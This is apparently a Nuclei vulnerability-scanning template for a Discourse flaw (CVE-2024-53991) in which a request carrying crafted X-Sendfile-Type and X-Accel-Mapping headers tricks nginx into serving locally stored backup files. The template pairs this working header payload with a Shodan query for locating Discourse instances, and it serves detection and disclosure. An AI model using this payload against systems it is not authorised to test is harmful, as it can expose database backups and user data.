id: CVE-2024-53991 info: name: Discourse Backup File Disclosure Via Default Nginx Configuration author: iamnoooob,rootxharsh,pdresearch severity: high description: | Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request. impact: | Attackers who know the backup file name can bypass nginx access controls to download complete Discourse backup files containing sensitive data, user information, and database contents. remediation: | Update to the latest stable, beta or tests-passed version of Discourse. Alternatively, store backups on S3 or disable backups temporarily until the fix is applied. reference: - https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/ - https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-53991 cwe-id: CWE-200 epss-score: 0.53121 epss-percentile: 0.98015 metadata: shodan-query: http.component:"Discourse" tags: cve,cve2024,discourse,disclosure,vuln http: - method: GET path: - "{{BaseURL}}/" extractors: - type: regex part: body name: styles group: 1 regex: - 'href="(/stylesheets/discourse-.*?)"' internal: true - raw: - | GET {{styles}}&cachebuster={{randstr}} HTTP/1.1 Host: {{Hostname}} X-Sendfile-Type: X-Accel-Redirect X-Accel-Mapping: .*=/downloads/backups/default/ matchers: - type: dsl dsl: - 'status_code == 403' - 'contains(content_type, "text/html")' - 'contains(response, "discourse")' condition: and # digest: 4a0a0047304502205f28f9393e5cdcababb7e3a19f6e064262ca5ba88305cf0963f43d1ef4c0a151022100d341b3c30096e949157fb0daa3af594052bc224aa2135805baede24da6f4989c:922c64590222798bb761d5b6d8e72950